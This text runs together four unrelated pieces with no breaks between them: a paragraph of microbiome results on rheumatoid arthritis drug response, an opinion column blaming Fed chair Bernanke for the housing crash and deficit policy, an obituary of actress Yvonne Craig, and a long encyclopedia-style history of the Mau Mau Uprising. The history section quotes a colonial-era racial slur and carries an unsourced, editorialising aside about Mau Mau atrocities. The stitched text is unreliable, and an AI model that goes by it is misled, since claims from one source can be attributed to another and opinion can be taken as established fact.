Cross-validated random forest models based on gut, dental or salivary MLGs in before-treatment samples were able to distinguish patients who showed good or moderate improvement from patients who showed no improvement after DMARD therapy (dental: AUC, 0.881; specificity, 1.000; sensitivity, 0.667; Fig. 6d, Supplementary Fig. 14 and Supplementary Table 22). Gut MLGs used in the improvement classifiers included Con-5303, Con-3144 and Holdemania filiformis, which correlated with dental and salivary MLGs (Fig. 4 and Supplementary Table 4). Oral MLGs included in the classifiers, including Veillonella spp., also correlated with gut MLGs (Fig. 4 and Supplementary Tables 10 and 11). Fecal, dental and salivary samples from RA patients who showed improvement contained a greater number of virulence factors (according to the virulence factor database37) than did those from patients with no improvement, and the dental and salivary control samples had more virulence factors than the RA patient samples (Supplementary Fig. 15 and Supplementary Tables 23–25). In summary, DMARD treatment partially modified the RA-associated microbiome, and the associated MLGs might facilitate the prediction and evaluation of treatment effects.
OK, it is only the pope who can explicitly claim infallibility. In the case of the Fed chair, infallibility is bestowed by the business reporters and politicians who treat every word from the reigning Fed chair as a priceless pearl of wisdom.
This aura of infallibility is especially painful in the current economic situation when error seems to be the new religion of the Fed. Just to remind everyone – since so much denial has dominated the debate – the only reason that we are facing near double-digit unemployment and the worst economic calamity in 70 years is that the Fed was out to lunch in combating the housing bubble.
The Fed was apparently unable to recognise a massive and unexplained departure from a 100-year long trend in the largest market in the world as a bubble. Even after it had just seen the stock bubble grow and implode it still could not conceive of a bubble in the housing market. Ben Bernanke, chairman of the Fed, and other spokespeople for the body have also claimed there was nothing they could have done even if they did recognise the bubble.
Call this colossal error No 1. This is drunkenly driving the school bus into the lane of oncoming traffic, killing all aboard. In most lines of work, you would be fired immediately and barred from ever working again. For the Fed chairman this is just a bad break.
Having missed the largest financial bubble in the history of the world, Bernanke quickly moved to colossal error No 2, failing to take adequate steps to counteract the downturn. While Bernanke deserves credit for being more aggressive than some of the quacks who would have just let the financial system melt down completely, his response to mass unemployment has been woefully inadequate.
The Fed should be targeting a higher rate of inflation, in the 3-4% range. This would reduce real interest rates and debt burdens. What is the downside in this picture; inflation accelerates too much and hits 5-6%? How does that compare with years of excessive unemployment, with millions of people unemployed or underemployed needlessly? No reasonable calculation of costs and risks would justify Bernanke's timidity in the current circumstances.
Bernanke's third colossal error is playing along with the deficit fervour being promoted by those seeking to gut social security, Medicare and other areas of social spending. The downturn has predictably led to an explosion of the deficit, as public spending had to fill the gap created by the collapse of private spending.
However there is no reason whatsoever why this deficit should place any burden on the long-term federal budget. A responsible Fed chairman would announce his intention to simply buy and hold the government debt used to finance the deficit. This would prevent the debt from placing any future burden on the public budget since the interest payments on the debt would go to the Fed. The Fed would in turn refund the interest to the Treasury each year, leaving no net interest burden on the government.
Japan's central bank currently holds an amount of public debt that is almost equal to its GDP ($14.5 trillion in the case of the United States). As a result, Japan's interest burden is less than that of the US even though its ratio of debt to GDP is 220%, almost four times the ratio in the US.
If Bernanke was honestly doing his job he would be educating the public about why debt run up to counteract a downturn need not impose a burden on the budget. Instead, he is running around telling Congress to cut social security because "that's where the money is".
After a two-year long battle with breast cancer during which the cancer metastasized to her liver, the actress died on Monday in her home in Pacific Palisades, California her family announced in a statement on her website.
“She had been in chemo almost continuously for the past two plus years since being diagnosed and that had weakened her immune system,” the statement read. “This didn’t dampen her sense of humor or her spirit, she intended to fight and win this battle.”
“In the end, her min still wanted to fight but her body had given up.”
From left: Burt Ward, Adam West and Yvonne Craig in Batman ABC Photo Archives/ABC via Getty Images
Craig also had a stint on the third season of Star Trek in which she played Martha, a green Orion Slave Girl who was out to kill Captain Kirk.
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Outside of television, Craig starred in It Happened at the World’s Fair and Kissin’ Cousins.
The family’s statement goes on to describe the actress as “down to earth” and “most exceptional,” adding that one of her dying wishes was that no one mourn her life in sadness.
The Mau Mau Uprising (1952–1960), also known as the Mau Mau Rebellion, the Kenya Emergency, and the Mau Mau Revolt, was a war in the British Kenya Colony (1920–1963) between the Kenya Land and Freedom Army (KLFA), also known as Mau Mau, and the British colonists.[5]
Dominated by the Kikuyu people, Meru people and Embu people, the KLFA also comprised units of Kamba and Maasai peoples who fought against the white European colonist-settlers in Kenya, the British Army, and the local Kenya Regiment (British colonists, local auxiliary militia, and pro–British Kikuyu people).[6][7]
The capture of rebel leader, Field Marshal Dedan Kimathi, on 21 October 1956, signalled the defeat of the Mau Mau,[8] however, the rebellion survived until after Kenya's independence from Britain, driven mainly by the Meru units led by Field Marshal Musa Mwariama and General Baimungi. Baimuingi, one of the last Mau Mau generals, was killed shortly after Kenya attained self-rule.[9]
The KFLA failed to capture widespread public support,[10] partly due to the British policy of divide and rule,[11] and the Mau Mau movement remained internally divided, despite attempts to unify the factions. The British, meanwhile, applied the strategy and tactics they developed in suppressing the Malayan Emergency (1948–60).[12] The Mau Mau Uprising created a rift between the European colonial community in Kenya and the metropole,[13] and also resulted in violent divisions within the Kikuyu community.[14][15] Suppressing the Mau Mau Uprising in the Kenyan colony cost Britain £55 million.[16]
Etymology [ edit ]
Map of Kenya
The origin of the term Mau Mau is uncertain. According to some members of Mau Mau, they never referred to themselves as such, instead preferring the military title Kenya Land and Freedom Army (KLFA).[17] Some publications, such as Fred Majdalany's State of Emergency: The Full Story of Mau Mau, claim it was an anagram of Uma Uma (which means "get out get out") and was a military codeword based on a secret language-game Kikuyu boys used to play at the time of their circumcision. Majdalany goes on to state that the British simply used the name as a label for the Kikuyu ethnic community without assigning any specific definition.[18]
Akamba people say the name Mau Mau came from ' Ma Umau' meaning 'Our Grandfathers'. The term was first used during a pastoralists revolt against de-stocking that took place in 1938 led by Muindi Mbingu during which he urged the colonists to leave Kenya so that his people (the kamba) can live freely like the time of 'Our Grandfathers' (—Twenda kwikala ta maau mau maitu, tuithye ngombe to Maau mau maitu, nundu nthi ino ni ya maau mau maitu). Some have argued that it is an acronym for Mzungu Aende Ulaya Mwafrica Apate Uhuru.
As the movement progressed, a Swahili backronym was adopted: "Mzungu Aende Ulaya, Mwafrika Apate Uhuru" meaning "Let the foreigner go back abroad, let the African regain independence".[19] J.M. Kariuki, a member of Mau Mau who was detained during the conflict, postulates that the British preferred to use the term Mau Mau instead of KLFA in an attempt to deny the Mau Mau rebellion international legitimacy.[20] Kariuki also wrote that the term Mau Mau was adopted by the rebellion in order to counter what they regarded as colonial propaganda.[19]
Another possible origin is a mishearing of the Kikuyu word for oath "muuma".[21]
Background [ edit ]
[22] The principal item in the natural resources of Kenya is the land, and in this term we include the colony's mineral resources. It seems to us that our major objective must clearly be the preservation and the wise use of this most important asset. —Deputy Governor to Secretary of State
for the Colonies, 19 March 1945
The armed rebellion of the Mau Mau was the culminating response to colonial rule.[23][24][25] Although there had been previous instances of violent resistance to colonialism, the Mau Mau revolt was the most prolonged and violent anti-colonial warfare in the British Kenya colony. From the start, the land was the primary British interest in Kenya,[26] which had "some of the richest agricultural soils in the world, mostly in districts where the elevation and climate make it possible for Europeans to reside permanently".[27] Though declared a colony in 1920, the formal British colonial presence in Kenya began with a proclamation on 1 July 1895, in which Kenya was claimed as a British protectorate.[28]
Even before 1895, however, Britain's presence in Kenya was marked by dispossession and violence. In 1894, British MP Sir Charles Dilke had observed in the House of Commons, "The only person who has up to the present time benefited from our enterprise in the heart of Africa has been Mr. Hiram Maxim".[29] During the period in which Kenya's interior was being forcibly opened up for British settlement, there was plenty of conflict and British troops carried out atrocities against the native population.[30][31]
Opposition to British imperialism existed from the start of British occupation. The most notable include the Nandi Resistance of 1895–1905;[32] the Giriama Uprising of 1913–1914;[33] the women's revolt against forced labour in Murang'a in 1947;[34] and the Kolloa Affray of 1950.[35] None of the armed uprisings during the beginning of British colonialism in Kenya were successful.[36] The nature of fighting in Kenya led Winston Churchill to express concern in 1908 about how it would look if word got out:
160 Gusii have now been killed outright without any further casualties on our side. . . . It looks like a butchery. If the H. of C. gets hold of it, all our plans in E.A.P. will be under a cloud. Surely it cannot be necessary to go on killing these defenceless people on such an enormous scale.[37][38][39][40]
to-morrow the only permanent evidence of our occupation would be the buildings we have erected for the use of our tax-collecting staff.[41] You may travel through the length and breadth of Kitui Reserve and you will fail to find in it any enterprise, building, or structure of any sort which Government has provided at the cost of more than a few sovereigns for the direct benefit of the natives. The place was little better than a wilderness when I first knew it 25 years ago, and it remains a wilderness to-day as far as our efforts are concerned. If we left that districtthe only permanent evidence of our occupation would be the buildings we have erected for the use of our tax-collecting staff. —Chief Native Commissioner of Kenya, 1925
A feature of all settler societies during the colonial period was the ability to obtain a disproportionate share in land ownership.[42] Kenya was no exception, with the first settlers arriving in 1902 as part of Governor Charles Eliot's plan to have a settler economy pay for the Uganda Railway.[43][44] The success of this settler economy would depend heavily on the availability of land, labour and capital,[45] and so, over the next three decades, the colonial government and settlers consolidated their control over Kenyan land, and 'encouraged' native Kenyans to become wage labourers.
Until the mid-1930s, the two primary complaints were low native Kenyan wages and the requirement to carry an identity document, the kipande.[46] From the early 1930s, however, two others began to come to prominence: effective and elected African-political-representation, and land.[46] The British response to this clamour for agrarian reform came in the early 1930s when they set up the Carter Land Commission.[47]
The Commission reported in 1934, but its conclusions, recommendations and concessions to Kenyans were so conservative that any chance of a peaceful resolution to native Kenyan land-hunger was ended.[23] Through a series of expropriations, the government seized about 7,000,000 acres (28,000 km2; 11,000 sq mi) of land, most of it in the fertile hilly regions of Central and Rift Valley Provinces, later known as the White Highlands due to the exclusively European-owned farmland there.[45] In Nyanza the Commission restricted 1,029,422 native Kenyans to 7,114 square miles (18,430 km2), while granting 16,700 square miles (43,000 km2) to 17,000 Europeans.[48] By the 1930s, and for the Kikuyu in particular, land had become the number one grievance concerning colonial rule,[46] the situation so acute by 1948 that 1,250,000 Kikuyu had ownership of 2,000 square miles (5,200 km2), while 30,000 British settlers owned 12,000 square miles (31,000 km2), albeit most of it not on traditional Kikuyu land. "In particular", the British government's 1925 East Africa Commission noted, "the treatment of the Giriama tribe [from the coastal regions] was very bad. This tribe was moved backwards and forwards so as to secure for the Crown areas which could be granted to Europeans."[49]
The Kikuyu, who lived in the Kiambu, Nyeri and Murang'a areas of what became Central Province, were one of the ethnic groups most affected by the colonial government's land expropriation and European settlement;[50] by 1933, they had had over 109.5 square miles (284 km2) of their potentially highly valuable land alienated.[51] The Kikuyu mounted a legal challenge against the expropriation of their land, but a Kenya High Court decision of 1921 reaffirmed its legality.[52] In terms of lost acreage, the Masai and Nandi people were the biggest losers of land.[53]
The colonial government and white farmers also wanted cheap labour[54] which, for a period, the government acquired from native Kenyans through force.[51] Confiscating the land itself helped to create a pool of wage labourers, but the colony introduced measures that forced more native Kenyans to submit to wage labour: the introduction of the Hut and Poll Taxes (1901 and 1910 respectively);[51][55] the establishment of reserves for each ethnic group, which isolated ethnic groups and often exacerbated overcrowding;[56] the discouragement of native Kenyans' growing cash crops;[51] the Masters and Servants Ordinance (1906) and an identification pass known as the kipande (1918) to control the movement of labour and to curb desertion;[51][57] and the exemption of wage labourers from forced labour and other compulsory, detested tasks such as conscription.[58][59]
Native labourer categories [ edit ]
Native Kenyan labourers were in one of three categories: squatter, contract, or casual.[C] By the end of World War I, squatters had become well established on European farms and plantations in Kenya, with Kikuyu squatters comprising the majority of agricultural workers on settler plantations.[45] An unintended consequence of colonial rule,[45] the squatters were targeted from 1918 onwards by a series of Resident Native Labourers Ordinances—criticised by at least some MPs[60]—which progressively curtailed squatter rights and subordinated native Kenyan farming to that of the settlers.[61] The Ordinance of 1939 finally eliminated squatters' remaining tenancy rights, and permitted settlers to demand 270 days' labour from any squatters on their land.[62] and, after World War II, the situation for squatters deteriorated rapidly, a situation the squatters resisted fiercely.[63]
In the early 1920s, though, despite the presence of 100,000 squatters and tens of thousands more wage labourers,[64] there was still not enough native Kenyan labour available to satisfy the settlers' needs.[65] The colonial government duly tightened the measures to force more Kenyans to become low-paid wage-labourers on settler farms.[citation needed]
The colonial government used the measures brought in as part of its land expropriation and labour 'encouragement' efforts to craft the third plank of its growth strategy for its settler economy: subordinating African farming to that of the Europeans.[51] Nairobi also assisted the settlers with rail and road networks, subsidies on freight charges, agricultural and veterinary services, and credit and loan facilities.[45] The near-total neglect of native farming during the first two decades of European settlement was noted by the East Africa Commission.[66]
The resentment of colonial rule would not have been decreased by the wanting provision of medical services for native Kenyans,[67] nor by the fact that in 1923, for example, "the maximum amount that could be considered to have been spent on services provided exclusively for the benefit of the native population was slightly over one-quarter of the taxes paid by them".[41] The tax burden on Europeans in the early 1920s, meanwhile, was very light.[41] Interwar infrastructure-development was also largely paid for by the indigenous population.[68]
Kenyan employees were often poorly treated by their European employers—sometimes even beaten to death by them—with some settlers arguing that native Kenyans "were as children and should be treated as such". Some settlers flogged their servants for petty offences. To make matters even worse, native Kenyan workers were poorly served by colonial labour-legislation and a prejudiced legal-system. The vast majority of Kenyan employees' violations of labour legislation were settled with "rough justice" meted out by their employers. Most colonial magistrates appear to have been unconcerned by the illegal practice of settler-administered flogging; indeed, during the 1920s, flogging was the magisterial punishment-of-choice for native Kenyan convicts. The principle of punitive sanctions against workers was not removed from the Kenyan labour statutes until the 1950s.[69]
. . . This land we have made is our land by right—by right of achievement.[70] The greater part of the wealth of the country is at present in our hands.This land we have made is our land by right—by right of achievement. —Speech by Deputy Colonial Governor
30 November 1946
As a result of the situation in the highlands and growing job opportunities in the cities, thousands of Kikuyu migrated into cities in search of work, contributing to the doubling of Nairobi's population between 1938 and 1952.[71] At the same time, there was a small, but growing, class of Kikuyu landowners who consolidated Kikuyu landholdings and forged ties with the colonial administration, leading to an economic rift within the Kikuyu.
Mau Mau warfare [ edit ]
Mau Mau were the militant wing of a growing clamour for political representation and freedom in Kenya. The first attempt to form a countrywide political party begun on 1 October 1944.[72] This fledgling organisation was called the Kenya African Study Union with Harry Thuku as its inaugural chairman. He soon resigned his chairmanship. There is dispute over Thuku's reason for leaving KASU: Bethwell Ogot states that Thuku "found the responsibility too heavy";[72] David Anderson states that "he walked out in disgust" as the militant section of KASU took the initiative.[73] KASU changed its name to the Kenya African Union (KAU) in 1946.
The failure of KAU to attain any significant reforms or redress of grievances from the colonial authorities shifted the political initiative to younger and more militant figures within the native Kenyan trade union movement, among the squatters on the settler estates in the Rift Valley and in KAU branches in Nairobi and the Kikuyu districts of central province.[74] Around 1943, residents of Olenguruone Settlement radicalised the traditional practice of oathing, and extended oathing to women and children.[75] By the mid-1950s, 90% of Kikuyu, Embu and Meru were oathed.[76] On 3 October 1952, Mau Mau claimed their first European victim when they stabbed a woman to death near her home in Thika.[77] Six days later, on 9 October, Senior Chief Waruhiu was shot dead in broad daylight in his car,[78] which was an important blow against the colonial government.[79] Waruhiu had been one of the strongest supporters of the British presence in Kenya. His assassination gave Baring the final impetus to request permission from the Colonial Office to declare a State of Emergency.[80]
Contrary to British propaganda and western perceptions of the time, the Mau Mau attacks were mostly well organised and planned.
...the insurgents' lack of heavy weaponry and the heavily entrenched police and Home Guard positions meant that Mau Mau attacks were restricted to nighttime and where loyalist positions were weak. When attacks did commence they were fast and brutal, as insurgents were easily able to identify loyalists because they were often local to those communities themselves. The Lari massacre was by comparison rather outstanding and in contrast to regular Mau Mau strikes which more often than not targeted only loyalists without such massive civilian casualties. "Even the attack upon Lari, in the view of the rebel commanders was strategic and specific."[81]
The Mau Mau command, contrary to the Home Guard who were stigmatised as "the running dogs of British Imperialism",[82] were relatively well educated. General Gatunga had previously been a respected and well read Christian teacher in his local Kikuyu community. He was known to meticulously record his attacks in a series of five notebooks, which when executed were often swift and strategic, targeting loyalist community leaders he had previously known as a teacher.[citation needed]
The Mau Mau military strategy was mainly guerrilla attacks launched under the cover of dark. They used stolen weapons such as guns, as well as weapons such as machetes and bows and arrows in their attacks. In a few limited cases, they also deployed biological weapons.[83]
Women formed a core part of the Mau Mau, especially in maintaining supply lines. Initially able to avoid the suspicion, they moved through colonial spaces and between Mau Mau hideouts and strongholds, to deliver vital supplies and services to guerrilla fighters including food, ammunition, medical care, and of course, information.[84] An unknown number also fought in the war, with the most high-ranking being Field Marshal Muthoni.
British reaction [ edit ]
The British and international view was that Mau Mau as a savage, violent, and depraved tribal cult, an expression of unrestrained emotion rather than reason. Mau Mau was "perverted tribalism" that sought to take the Kikuyu people back to "the bad old days" before British rule.[85][86] The official British explanation of the revolt did not include the insights of agrarian and agricultural experts, of economists and historians, or even of Europeans who had spent a long period living amongst the Kikuyu such as Louis Leakey. Not for the first time,[87] the British instead relied on the purported insights of the ethnopsychiatrist; with Mau Mau, it fell to Dr. John Colin Carothers to perform the desired analysis. This ethnopsychiatric analysis guided British psychological warfare, which painted Mau Mau as "an irrational force of evil, dominated by bestial impulses and influenced by world communism", and the later official study of the uprising, the Corfield Report.[88]
The psychological war became of critical importance to military and civilian leaders, who waged it in the time-honoured colonial fashion of divide and rule, always trying to "emphasise that there was in effect a civil war, and that the struggle was not black versus white", attempting to isolate Mau Mau from the Kikuyu, and the Kikuyu from the rest of the colony's population and the world outside. In driving a wedge between Mau Mau and the Kikuyu generally, these propaganda efforts essentially played no role, though they could apparently claim an important contribution to the isolation of Mau Mau from the non-Kikuyu sections of the population.[89]
By the mid-1960s, the view of Mau Mau as simply irrational activists was being challenged by memoirs of former members and leaders that portrayed Mau Mau as an essential, if radical, component of African nationalism in Kenya( of course this is denying the atrocities they committed against fellow tribesmen just to settle a score including the killing of school children), and by academic studies that analysed the movement as a modern and nationalist response to the unfairness and oppression of colonial domination (though such studies deliberately downplayed the specifically Kikuyu nature of the movement).[90]
There continues to be vigorous debate within Kenyan society and among the academic community within and without Kenya regarding the nature of Mau Mau and its aims, as well as the response to and effects of the uprising.[91][92] Nevertheless, partly because as many Kikuyu fought against Mau Mau on the side of the colonial government as joined them in rebellion,[15] the conflict is now often regarded in academic circles as an intra-Kikuyu civil war,[14][92] a characterisation that remains extremely unpopular in Kenya. [93] Kenyatta described the conflict in his memoirs as a civil war rather than a rebellion.[citation needed] The reason that the revolt was majorly limited to the Kikuyu people was, in part, that they had suffered the most as a result of the negative aspects of British colonialism.[94][95]
Wunyabari O. Maloba regards the rise of the Mau Mau movement as "without doubt, one of the most important events in recent African history."[96] David Anderson, however, considers Maloba's and similar work to be the product of "swallowing too readily the propaganda of the Mau Mau war",[46] noting the similarity between such analysis and the "simplistic"[46] earlier studies of Mau Mau. This earlier work cast the Mau Mau war in strictly bipolar terms, "as conflicts between anti-colonial nationalists and colonial collaborators".[46] Caroline Elkins' 2005 study, Imperial Reckoning, has met similar criticism, as well as being criticised for sensationalism.[97][98]
[99] It is often assumed that in a conflict there are two sides in opposition to one another, and that a person who is not actively committed to one side must be supporting the other. During the course of a conflict, leaders on both sides will use this argument to gain active support from the "crowd". In reality, conflicts involving more than two persons usually have more than two sides, and if a resistance movement is to be successful, propaganda and politicization are essential. —Louise Pirouet
Broadly speaking, throughout Kikuyu history, there have been two traditions: moderate-conservative and radical.[100] Despite the differences between them, there has been a continuous debate and dialogue between these traditions, leading to a great political awareness among the Kikuyu.[100][101] By 1950, these differences, and the impact of colonial rule, had given rise to three native Kenyan political blocks: conservative, moderate nationalist and militant nationalist.[102] It has also been argued that Mau Mau was not explicitly national, either intellectually or operationally.[103]
Bruce Berman argues that, "While Mau Mau was clearly not a tribal activism seeking a return to the past, the answer to the question of 'was it nationalism?' must be yes and no."[104] As the Mau Mau rebellion wore on, the violence forced the spectrum of opinion within the Kikuyu, Embu and Meru to polarise and harden into the two distinct camps of loyalist and Mau Mau.[105] This neat division between loyalists and Mau Mau was a product of the conflict, rather than a cause or catalyst of it, with the violence becoming less ambiguous over time,[106] in a similar manner to other situations.[107][108]
British reaction to the uprising [ edit ]
[2] Between 1952 and 1956, when the fighting was at its worst, the Kikuyu districts of Kenya became a police state in the very fullest sense of that term. —David Anderson
Philip Mitchell retired as Kenya's governor in summer 1952, having turned a blind eye to Mau Mau's increasing activity.[109] Through the summer of 1952, however, Colonial Secretary Oliver Lyttelton in London received a steady flow of reports from Acting Governor Henry Potter about the escalating seriousness of Mau Mau violence,[77] but it was not until the later part of 1953 that British politicians began to accept that the rebellion was going to take some time to deal with.[110] At first, the British discounted the Mau Mau rebellion[111] because of their own technical and military superiority, which encouraged hopes for a quick victory.[110]
The British army accepted the gravity of the uprising months before the politicians, but the army's appeals to London and Nairobi initially fell on deaf ears.[110] On 30 September 1952, Evelyn Baring arrived in Kenya to permanently take over from Potter; Baring was given no warning by Mitchell or the Colonial Office about the gathering maelstrom into which he was stepping.[77]
Aside from military operations against Mau Mau fighters in the forests, the British attempt to defeat the movement broadly came in two stages: the first, relatively limited in scope, came during the period in which they had still failed to accept the seriousness of the revolt; the second came afterwards. During the first stage, the British tried to decapitate the movement by declaring a State of Emergency before arresting 180 alleged Mau Mau leaders (see Operation Jock Scott below) and subjecting six of them to a show trial (the Kapenguria Six); the second stage began in earnest in 1954, when they undertook a series of major economic, military and penal initiatives.[citation needed]
The second stage had three main planks: a large military-sweep of Nairobi leading to the internment of tens of thousands of the city's suspected Mau Mau members and sympathisers (see Operation Anvil below); the enacting of major agrarian reform (the Swynnerton Plan); and the institution of a vast villagisation programme for more than a million rural Kikuyu (see below). In 2012, the UK government accepted that prisoners had suffered "torture and ill-treatment at the hands of the colonial administration".[112]
The harshness of the British response was inflated by two factors. First, the settler government in Kenya was, even before the insurgency, probably the most openly racist one in the British empire, with the settlers' violent prejudice attended by an uncompromising determination to retain their grip on power[113] and half-submerged fears that, as a tiny minority, they could be overwhelmed by the indigenous population.[114] Some settlers felt that "[a] good sound system of compulsory labour would do more to raise the nigger in five years than all the millions that have been sunk in missionary efforts for the last fifty",[115] and its representatives were so keen on aggressive action that George Erskine referred to them as "the White Mau Mau".[114] Second, the brutality of Mau Mau attacks on civilians made it easy for the movement's opponents—including native Kenyan and loyalist security forces—to adopt a totally dehumanised view of Mau Mau adherents.[113]
A variety of persuasive techniques were initiated by the colonial authorities to punish and break Mau Mau's support: Baring ordered punitive communal-labour, collective fines and other collective punishments, and further confiscation of land and property. By early 1954, tens of thousands of head of livestock had been taken, and were allegedly never returned.[116] Detailed accounts of the policy of seizing livestock from Kenyans suspected of supporting Mau Mau rebels were finally released in April 2012.[117]
State of emergency declared (October 1952) [ edit ]
On 20 October 1952, Governor Baring signed an order declaring a state of emergency. Early the next morning, Operation Jock Scott was launched: the British carried out a mass-arrest of Jomo Kenyatta and 180 other alleged Mau Mau leaders within Nairobi.[118][119] Jock Scott did not decapitate the movement's leadership as hoped, since news of the impending operation was leaked. Thus, while the moderates on the wanted list awaited capture, the real militants, such as Dedan Kimathi and Stanley Mathenge (both later principal leaders of Mau Mau's forest armies), fled to the forests.[120]
The day after the round up, another prominent loyalist chief, Nderi, was hacked to pieces,[121] and a series of gruesome murders against settlers were committed throughout the months that followed.[122] The violent and random nature of British tactics during the months after Jock Scott served merely to alienate ordinary Kikuyu and drive many of the wavering majority into Mau Mau's arms.[123] Three battalions of the King's African Rifles were recalled from Uganda, Tanganyika and Mauritius, giving the regiment five battalions in all in Kenya, a total of 3,000 native Kenyan troops.[118] To placate settler opinion, one battalion of British troops, from the Lancashire Fusiliers, was also flown in from Egypt to Nairobi on the first day of Operation Jock Scott.[124] In November 1952, Baring requested assistance from the Security Service. For the next year, the Service's A.M. MacDonald would reorganise the Special Branch of the Kenya Police, promote collaboration with Special Branches in adjacent territories, and oversee coordination of all intelligence activity "to secure the intelligence Government requires".[125]
[126] Our sources have produced nothing to indicate that Kenyatta, or his associates in the UK, are directly involved in Mau Mau activities, or that Kenyatta is essential to Mau Mau as a leader, or that he is in a position to direct its activities. —Percy Sillitoe, Director General of MI5
Letter to Evelyn Baring, 9 January 1953
In January 1953, six of the most prominent detainees from Jock Scott, including Kenyatta, were put on trial, primarily to justify the declaration of the Emergency to critics in London.[120][127] The trial itself was claimed to have featured a suborned lead defence-witness, a bribed judge, and other serious violations of the right to a fair trial.
Native Kenyan political activity was permitted to resume at the end of the military phase of the Emergency.[128]
Military operations [ edit ]
Lieutenant General Sir George Erskine , Commander-in-Chief, British East Africa (centre), observing operations against the Mau Mau
The onset of the Emergency led hundreds, and eventually thousands, of Mau Mau adherents to flee to the forests, where a decentralised leadership had already begun setting up platoons.[129] The primary zones of Mau Mau military strength were the Aberdares and the forests around Mount Kenya, whilst a passive support-wing was fostered outside these areas.[130] Militarily, the British defeated Mau Mau in four years (1952–56)[131] using a more expansive version of "coercion through exemplary force".[132] In May 1953, the decision was made to send General George Erskine to oversee the restoration of order in the colony.[133]
By September 1953, the British knew the leading personalities in Mau Mau, the capture and 68 hour interrogation of General China on 15 January the following year provided a massive intelligence boost on the forest fighters.[134][135][136][137][138] Erskine's arrival did not immediately herald a fundamental change in strategy, thus the continual pressure on the gangs remained, but he created more mobile formations that delivered what he termed "special treatment" to an area. Once gangs had been driven out and eliminated, loyalist forces and police were then to take over the area, with military support brought in thereafter only to conduct any required pacification operations. After their successful dispersion and containment, Erskine went after the forest fighters' source of supplies, money and recruits, i.e. the native Kenyan population of Nairobi. This took the form of Operation Anvil, which commenced on 24 April 1954.[139]
Operation Anvil [ edit ]
By 1954, Nairobi was regarded as the nerve centre of Mau Mau operations.[140] Anvil was the ambitious attempt to eliminate Mau Mau's presence within Nairobi in one fell swoop. 25,000 members of British security forces under the control of General George Erskine were deployed as Nairobi was sealed off and underwent a sector-by-sector purge. All native Kenyans were taken to temporary barbed-wire enclosures, whereafter those who were not Kikuyu, Embu or Meru were released; those who were remained in detention for screening.[D]
Whilst the operation itself was conducted by Europeans, most suspected members of Mau Mau were picked out of groups of the Kikuyu-Embu-Meru detainees by a native Kenyan informer. Male suspects were then taken off for further screening, primarily at Langata Screening Camp, whilst women and children were readied for 'repatriation' to the reserves (many of those slated for deportation had never set foot in the reserves before). Anvil lasted for two weeks, after which the capital had been cleared of all but certifiably loyal Kikuyu; 20,000 Mau Mau suspects had been taken to Langata, and 30,000 more had been deported to the reserves.[141]
Air power [ edit ]
For an extended period of time, the chief British weapon against the forest fighters was air power. Between June 1953 and October 1955, the RAF provided a significant contribution to the conflict—and, indeed, had to, for the army was preoccupied with providing security in the reserves until January 1955, and it was the only service capable of both psychologically influencing and inflicting considerable casualties on the Mau Mau fighters operating in the dense forests. Lack of timely and accurate intelligence meant bombing was rather haphazard, but almost 900 insurgents had been killed or wounded by air attacks by June 1954, and it did cause forest gangs to disband, lower their morale, and induce their pronounced relocation from the forests to the reserves.[142]
Contrary to that which is sometimes claimed, Lancaster bombers were not used during the Emergency, though Lincolns were. The latter flew their first mission on 18 November 1953 and remained in Kenya until 28 July 1955, dropping nearly 6 million bombs.[143][144] They and other aircraft, such as blimps, were also deployed for reconnaissance, as well as in the propaganda war, conducting large-scale leaflet-drops.[145]
After the Lari massacre, for example, British planes dropped leaflets showing graphic pictures of the Kikuyu women and children who had been hacked to death. Unlike the rather indiscriminate activities of British ground forces, the use of air power was more restrained (though there is disagreement[146] on this point), and air attacks were initially permitted only in the forests. Operation Mushroom extended bombing beyond the forest limits in May 1954, and Churchill consented to its continuation in January 1955.[142]
Swynnerton Plan [ edit ]
Baring knew the massive deportations to the already-overcrowded reserves could only make things worse. Refusing to give more land to the Kikuyu in the reserves, which could have been seen as a concession to Mau Mau, Baring turned instead in 1953 to Roger Swynnerton, Kenya's assistant director of agriculture.[147][148] The primary goal of the Swynnerton Plan was the creation of family holdings large enough to keep families self-sufficient in food and to enable them to practise alternate husbandry, which would generate a cash income.[149]
The projected costs of the Swynnerton Plan were too high for the cash-strapped colonial government, so Baring tweaked repatriation and augmented the Swynnerton Plan with plans for a massive expansion of the Pipeline coupled with a system of work camps to make use of detainee labour. All Kikuyu employed for public works projects would now be employed on Swynnerton's poor-relief programmes, as would many detainees in the work camps.[150][151]
Detention programme [ edit ]
[152] It would be difficult to argue that the colonial government envisioned its own version of a gulag when the Emergency first started. Colonial officials in Kenya and Britain all believed that Mau Mau would be over in less than three months. —Caroline Elkins
When the mass deportations of Kikuyu to the reserves began in 1953, Baring and Erskine ordered all Mau Mau suspects to be screened. Of the scores of screening camps which sprang up, only fifteen were officially sanctioned by the colonial government. Larger detention camps were divided into compounds. The screening centres were staffed by settlers who had been appointed temporary district-officers by Baring.[153]
Thomas Askwith, the official tasked with designing the British 'detention and rehabilitation' programme during the summer and autumn of 1953, termed his system the Pipeline.[154] The British did not initially conceive of rehabilitating Mau Mau suspects through brute force and other ill-treatment—Askwith's final plan, submitted to Baring in October 1953, was intended as "a complete blueprint for winning the war against Mau Mau using socioeconomic and civic reform."[155] What developed, however, has been described as a British gulag.[156]
The Pipeline operated a white-grey-black classification system: 'whites' were cooperative detainees, and were repatriated back to the reserves; 'greys' had been oathed but were reasonably compliant, and were moved down the Pipeline to works camps in their local districts before release; and 'blacks' were the so-called 'hard core' of Mau Mau. These were moved up the Pipeline to special detention camps. Thus a detainee's position in Pipeline was a straightforward reflection of how cooperative the Pipeline personnel deemed her or him to be. Cooperation was itself defined in terms of a detainee's readiness to confess their Mau Mau oath. Detainees were screened and re-screened for confessions and intelligence, then re-classified accordingly.[157]
[158] [T]here is something peculiarly chilling about the way colonial officials behaved, most notoriously but not only in Kenya, within a decade of the liberation of the [Nazi] concentration camps and the return of thousands of emaciated British prisoners of war from the Pacific. One courageous judge in Nairobi explicitly drew the parallel: Kenya's Belsen, he called one camp. —Guardian Editorial, 11 April 2011
A detainee's journey between two locations along the Pipeline could sometimes last days. During transit, there was frequently little or no food and water provided, and seldom any sanitation. Once in camp, talking was forbidden outside the detainees' accommodation huts, though improvised communication was rife. Such communication included propaganda and disinformation, which went by such names as the Kinongo Times, designed to encourage fellow detainees not to give up hope and so to minimise the number of those who confessed their oath and cooperated with camp authorities. Forced labour was performed by detainees on projects like the thirty-seven-mile-long South Yatta irrigation furrow.[159] Family outside and other considerations led many detainees to confess.[160]
